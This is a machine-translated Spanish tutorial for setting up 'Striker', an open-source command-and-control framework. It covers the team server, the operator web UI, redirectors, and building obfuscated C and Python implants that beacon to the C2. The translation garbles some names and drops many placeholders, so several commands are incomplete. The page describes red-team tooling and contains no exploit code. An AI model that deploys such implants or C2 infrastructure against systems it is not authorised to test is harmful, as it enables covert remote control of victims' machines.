Tutoriales

Comando y Control (C2)

adelante es un sencillo comando y control (C2) plano.

Este proyecto está en desarrollo activo. La mayoría de las funciones son experimentales y habrá más en el futuro. Espere cambios de última hora.

característica

A) Agente

  • Agente nativo para hosts Linux y Windows.
  • Agente de Python independiente y mínimo, en caso de que lo necesite.
  • canal HTTP.
  • Ejecución de tareas asincrónicas.
  • Se admiten varios redirectores, con respaldo a otros redirectores si falla el redirector activo.

B) Back-end/Servidor de equipo

  • Se admiten múltiples operadores.
  • La mayor parte de la funcionalidad se expone a través de la API REST, por lo que se puede automatizar fácilmente.
  • Comunicación más rápida usando sockets web.

C) Interfaz de usuario

  • Interfaz de usuario fluida y receptiva gracias a Esbelto y socket-io.
  • Es fácil de configurar porque se compila en archivos HTML, JavaScript y CSS estáticos, y puede alojarlos incluso con el servidor web más básico que pueda encontrar.
  • Función de chat de equipo para comunicarse con otros operadores a través de mensajes de texto.

instalar delantero

Clonar el repositorio;

$ git clone 
$ cd Striker

El código base se divide en 4 partes separadas;

1. servidor/back-end C2

Esto maneja toda la lógica del lado del servidor para operadores y agentes.Es un NodeJS la solicitud realizada;

  • express – Para API REST.
  • socket.io – Para comunicación Web Socket.
  • mongoose – para conectarse a MongoDB.
  • multer – Se utiliza para gestionar la carga de archivos.
  • bcrypt – Se utiliza para cifrar las contraseñas de los usuarios.

El código fuente se encuentra en backend/ Tabla de contenido. configurar el servidor;

  1. Configure la base de datos MongoDB;

Striker usa MongoDB como la base de datos de back-end para almacenar todos los datos importantes.Puede instalarlo localmente en su computadora con el comando esta guía Para distribuciones basadas en Debian, o cree una distribución gratuita con Mongo DB Atlas (base de datos como plataforma de servicio).

  1. Introduzca el directorio de origen;
$ cd backend
  1. instalar dependencias;
$ npm install
  1. Crear un directorio de archivos estáticos;
$ mkdir static

Puede usar esta carpeta para alojar archivos estáticos en su servidor.Esta también debe ser tu UPLOAD_LOCATION se establece en .env file (más sobre eso más adelante), pero no es obligatorio.Los archivos en este directorio serán públicamente accesibles bajo esta ruta /static/.

  1. Crear .env documento;

Nota: Valores entre < y > es un marcador de posición.Reemplácelos con valores apropiados (incluyendo <>). Para los campos que requieren cadenas aleatorias, puede generarlos fácilmente con:

$ head -c 100 /dev/urandom | sha256sum
DB_URL=
HOST=
PORT=
SECRET=
ORIGIN_URL=
REGISTRATION_KEY=
MAX_UPLOAD_SIZE=
UPLOAD_LOCATION=
SSL_KEY=
SSL_CERT=

Aviso SSL_KEY y SSL_CERT es opcional. Si no se define nada, se creará un servidor HTTP normal. Esto ayuda a evitar una sobrecarga innecesaria cuando se ejecuta el servidor detrás de un proxy inverso habilitado para SSL en el mismo host.

  1. iniciar el servidor;
$ node index.js
[12:45:30 PM]  Connecting to backend database...
[12:45:31 PM]  Starting HTTP server...
[12:45:31 PM]  Server started on port: 3000

2. Parte delantera

Esta es la interfaz de usuario web utilizada por el operador.Esta es una aplicación web de una sola página escrita en Esbeltoel código fuente está en frontend/ Tabla de contenido.

establecer la parte delantera;

  1. Introduzca el directorio de origen;
$ cd frontend
  1. instalar dependencias;
$ npm install
  1. Crear .env archivo con variables VITE_STRIKER_API Establezca la URL completa del servidor C2 configurado anteriormente;
VITE_STRIKER_API=
  1. Hospedarse;
$ npm run build

Lo anterior compilará todo en una aplicación web estática dist/ Tabla de contenido. Puede mover todos los archivos a la raíz web de su servidor web, o incluso alojarlos con un servidor HTTP básico como Python;

$ cd dist
$ python3 -m http.server 8000
  1. Inscribirse;
  • Abra el sitio en un navegador web. Debería ver una página de inicio de sesión.
  • hacer clic Register botón.
  • Ingrese el nombre de usuario, contraseña y clave de registro a utilizar (ver REGISTRATION_KEY existir backend/.env)

Esto creará una cuenta de usuario estándar. Necesitará una cuenta de administrador para acceder a algunas funciones.Su primera cuenta de administrador debe crearse manualmente, después de lo cual puede actualizar y degradar otras cuentas Users Pestañas para la interfaz de usuario web.

Cree su primera cuenta de administrador;

  • Conéctese a la base de datos MongoDB utilizada por el backend.
  • renovar users ensamblar y configurar admin campo de usuario de destino true;

Puedes hacer esto de diferentes maneras.si usted tiene mongo Disponible en la CLI, puede usar el siguiente comando para lograr esto:

$ mongo 
> db.users.updateOne({username: ""}, {$set: {admin: true}})

Si es válido, debería obtener la siguiente respuesta;

{ "acknowledged" : true, "matchedCount" : 1, "modifiedCount" : 1 }

Puedes iniciar sesión ahora 🙂

3. Redirector C2

A) Redirección de tubería tonta

Un redirector de tubo tonto escrito para adelante admisible redirector/redirector.py.Obviamente, esto solo funciona para el tráfico HTTP simple o para HTTPS cuando la verificación SSL está deshabilitada (puede habilitar INSECURE_SSL macros en el proxy C).

El siguiente ejemplo escucha en el puerto 443 en todas las interfaces y reenvía a c2.example.org en puerto 443;

$ cd redirector
$ ./redirector.py 0.0.0.0:443 c2.example.org:443
[*] Starting redirector on 0.0.0.0:443...
[+] Listening for connections...

B) Proxy inverso de Nginx como redirector

  1. Instalar Nginx;
$ sudo apt install nginx
  1. Cree una configuración de host virtual (por ejemplo: /etc/nginx/sites-available/striker);

marcador de posición;

  • – Este es el FQDN de su servidor y debe coincidir con el FQDN de su certificado SSL.
  • – El archivo de certificado SSL a utilizar.
  • – El archivo de clave SSL a utilizar.
  • – La URL completa del servidor C2 al que reenviar la solicitud.

advertir: client_max_body_size Debe ser tan grande como el tamaño definido MAX_UPLOAD_SIZE En tu backend/.env archivo, de lo contrario, las cargas de archivos grandes fallarán.

server {
    listen 443 ssl;
    server_name             ;
    ssl_certificate         ;
    ssl_certificate_key     ;
    client_max_body_size    100M;
    access_log              /var/log/nginx/striker.log;

    location / {
      proxy_pass              ;
      proxy_redirect          off;
      proxy_ssl_verify        off;
      proxy_read_timeout      90;
      proxy_http_version      1.0;
      proxy_set_header        Upgrade $http_upgrade;
      proxy_set_header        Connection "upgrade";
      proxy_set_header        Host $host;
      proxy_set_header        X-Real-IP $remote_addr;
      proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}
  1. permitirle;
$ sudo ln -s /etc/nginx/sites-available/striker /etc/nginx/sites-enabled/striker
  1. Reinicie Nginx;
$ sudo service nginx restart

Su redirector ahora debería estar funcionando en el puerto 443y se puede probar con (suponiendo que su FQDN es striker.local);

$ curl 

Si funciona, debe obtener una respuesta 404 que utiliza el backend, por ejemplo;

{"error":"Invalid route!"}

4. Agentes (Implantes)

A) agente C

Estos son los implantes utilizados por el Striker.El agente principal está escrito en C y se encuentra en agent/C/. Es compatible con hosts Linux y Windows. Dependencias externas del proxy de Linux libcurllo encontrará instalado en la mayoría de los sistemas.

El agente de Windows no tiene dependencias externas.usa wininet Para la comunicación, creo que está disponible en todos los hosts de Windows.

  1. Construir para Linux

Suponiendo que está utilizando un host de 64 bits, lo siguiente se compilará para un host de 64 bits;

$ cd agent/C
$ mkdir bin
$ make

construir 32 bits en 64 bits;

$ sudo apt install gcc-multilib
$ make arch=32

Lo anterior compila todo en bin/ Tabla de contenido. Solo necesita dos archivos para generar un implante funcional:

  • bin/stub – Este es el código auxiliar que se usará como plantilla para generar un implante funcional.
  • bin/builder – Esto es lo que usará para parchear el resguardo del proxy para generar un implante que funcione.

El constructor acepta los siguientes parámetros;

$ ./bin/builder 
[-] Usage: ./bin/builder     

Dónde;

  • – El servidor al que informar. Idealmente, esto sería un redirector, pero también funcionaría una URL que apunte directamente al servidor.
  • – La clave de autenticación utilizada al conectarse al C2.Puedes encontrar clave de autorización Pestañas para la interfaz de usuario web.
  • – Retraso en segundos entre cada devolución de llamada. El valor debe ser al menos 2, dependiendo de la cantidad de ruido que desee.
  • – el archivo de resguardo para leer, bin/stub en este caso.
  • – El nombre de archivo de salida para el nuevo implante.

ejemplo;

$ ./bin/builder  979a9d5ace15653f8ffa9704611612fc 5 bin/stub bin/striker
[*] Obfuscating strings...
[+] 69 strings obfuscated 🙂
[*] Finding offsets of our markers...
[+] Offsets:
            URL: 0x0000a2e0
       OBFS Key: 0x0000a280
       Auth Key: 0x0000a2a0
          Delay: 0x0000a260
[*] Patching...
[+] Operation completed!
  1. edificio de ventanas

necesitará Ming GW para esto. Lo siguiente instalará entornos de Windows de desarrollo de 32 y 64 bits;

$ sudo apt install mingw-w64

construir para 64 bits;

$ cd agent/C
$ mdkir bin
$ make target=win

compilar 32 bits;

$ make target=win arch=32

Esto compila todo en bin/ directorio donde tendrás tus constructores y stubs bin\stub.exe y bin\builder.exerespectivamente.

B) Agente Python

Striker también se envía con un agente de Python independiente (probado en Python 2.7.16 y 3.7.3).Este se encuentra en agent/python/. El agente solo implementa las funciones más básicas. Útil para hosts que no pueden ejecutar el agente C pero tienen Python instalado.

Hay 2 archivos en este directorio;

  • stub.py – Este es el resguardo de la carga útil que se le pasará al constructor.
  • builder.py - Esto es lo que usarás para generar el implante.

Ejemplo de uso:

$ ./builder.py
[-] Usage: builder.py     
# The following will generate a working payload as `output.py`
$ ./builder.py  979a9d5ace15653f8ffa9704611612fc 2 stub.py output.py
[*] Loading agent stub...
[*] Writing configs...
[+] Agent built successfully: output.py
# Run it
$ python3 output.py

empezando

Después de seguir las instrucciones anteriores, adelante Ahora debería funcionar.por favor pase guía del usuario. ¡Diviértete y feliz hackeando!

por favor considera atención y apoyo Siempre estamos actualizados

LEER  cpufetch: impresionante utensilio de información de edificación de CPU para Linux y macOS

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba